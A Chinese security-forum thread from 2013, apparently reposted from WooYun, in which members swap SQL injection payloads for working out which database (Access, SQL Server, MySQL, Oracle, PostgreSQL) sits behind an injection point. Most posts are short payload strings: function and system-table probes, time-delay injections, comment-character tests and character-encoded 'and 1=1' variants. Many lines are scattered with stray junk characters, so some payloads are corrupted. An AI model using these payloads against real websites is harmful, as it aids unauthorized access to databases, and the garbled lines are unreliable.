找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2013|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库2 }6 }$ D, T8 S$ M4 F8 V1 ~0 q
xsser (十根阳具有长短!!) | 2013-02-05 12:362 s  B( z6 Q# \
假设这么一个注射点:  B9 O; ^! z& j. s% L1 A2 o
show.html?id=2
* M1 f/ a3 D0 O0 I8 R% {mysql:id=2 and version()>0
) Y; U6 U. H$ @& Loracle:id=2 and '1'||'1'='11" e' E$ F! G. ]% n
其他的欢迎补充: x7 h2 Y4 ^3 H9 [5 T& V$ D
1#1 G" N; E, }$ c: D0 d- g1 Z4 _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ M9 {- _+ V9 v. q2 }7 H$ }
Access:, M) S5 g; W+ F+ }
aNd aSc(cHr(97))=97' m- j0 ?5 _7 v: l0 S/ ]* K/ F
and exists(select id from MSysAccessObjects)
' R6 c; k1 ~# ]1 i5 s: `9 G& _SQL Server:
( }, F5 B; w- s- J5 f0 xand exists(select id from sysobjects)5 h& W2 ^5 P3 z4 \8 O& `# H
and length(user)>0  d6 T6 C4 \' L
MySQL:
* ~+ ~+ x; q# B% s; w! y- hand length(user())>06 g6 e- C, u$ [# i! t+ ~5 n9 u3 l
2#* B2 ~  D4 J4 [+ j# I2 ?1 R
xsser (十根阳具有长短!!) | 2013-02-05 12:48
- j$ a) F% A( W4 W@upload 如果这些都不是呢…
+ o* U  v0 o3 b3#
4 ]( c/ I$ H3 l; l* @7 Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
( X. H+ @# Q* M8 d3 V( @  A@xsser 不快速的,延时注入
! B" |7 A) @! v/ ?* g4 d0 l3 ~不知道这样写对不对
4 Q4 y: ]' z$ Z5 Hmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
5 T( |" R/ Z! umysql:id=2 and select benchmark(1e8,current_date());
# n0 u3 h4 D. T, c7 p4#+ g* _; A  {, ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10( z6 k9 L9 `/ |, n+ Y% x( [  g
最快的貌似是看报错信息
* W( p/ h4 w9 ^% X3 h1 ?# b! r' w0 ~oracle error
: [/ i/ e+ a; @7 Lmssql error5 N2 m( T# S& I/ k+ d( l2 V  r
mysql error
( A0 j0 l0 F. p' q5#
; h2 s& T3 `8 F& D0 iNimda (你们都是坏银~) | 2013-02-05 13:148 x- R, }+ P) v1 d& h  H
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
! @) g7 W4 V% b6 k6#
6 m0 Z% e8 |* b0 U! j/ [% Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:211 ~* v6 r& I  g; v6 {" B# a
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:* X$ z7 F" |5 G1 `, k- N4 \9 d
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
: Q' ]! F# d- Q+ D6 p: f9 |“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
$ ?: C! T# n% s; Q. c$ E* ?7#
) Y" Z. L( ^$ ?4 U5 |_Evil (HackEnd) | 2013-02-05 13:33
- k! }: P# ]/ G) _PostgreSQL
) j+ ]* q8 O$ a1 _  ?. r8#: V# u# i; x! n( @" F3 a/ U; z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:423 l7 v/ M; r' v4 _
切换编码 and 1=1$ \! O: R0 }" c/ ^/ ]: |
oracle:0 b0 d: T6 F$ L
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)- K/ i& s& e5 J5 r4 Y3 I
mssql:
/ G+ n* Y' R; k3 JCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)! P( O2 H+ ~* i" T. d9 m" Z
mysql:9 P' r- O, d! s$ \
CHAR(97, 110, 100, 32, 49, 61, 49)+ N6 V* h, k" }6 O
9#* _: U$ j7 f# K: X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
5 u+ A. J# }% \, |) c@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
' Z+ X, ~: [! L6 @' a10#1 `8 d4 E; t6 D+ J  ~5 k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
  ~; ^! m1 W) `+ ]# d@xsser 是奇葩数据库类型的么?
  K* L# p! D7 A( R根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:! T( k' X0 H/ b
1.是否可以使用特定的函数来判断,该数据库特有的
2 \, e) Q/ ]" T* D4 K2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 J8 n" I. ~& K
3.是否可以编码查询8 L7 `# o7 d. l! u- x, ^  P
4.是否显可以利用错信息
/ `* O. q) Q2 B- x5.是否存在数据库某些特性辅助判断
- [; [0 O4 I& Z个人见解
6 T3 Q. E2 N, p! B+ B/ [11#+ t( t; g9 ?8 l5 \/ J
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55) a& t) _# F' }! f5 @% {- b+ q
已收藏,mssql可以直接看到错误提示的吧~
+ L1 J/ N/ p9 N12#$ Q! O# [$ \0 O8 _% X; w" V3 d
Passer_by | 2013-02-05 15:090 M7 p3 ^) g; J
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。* i( W* Q* `7 x8 a5 `* t
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表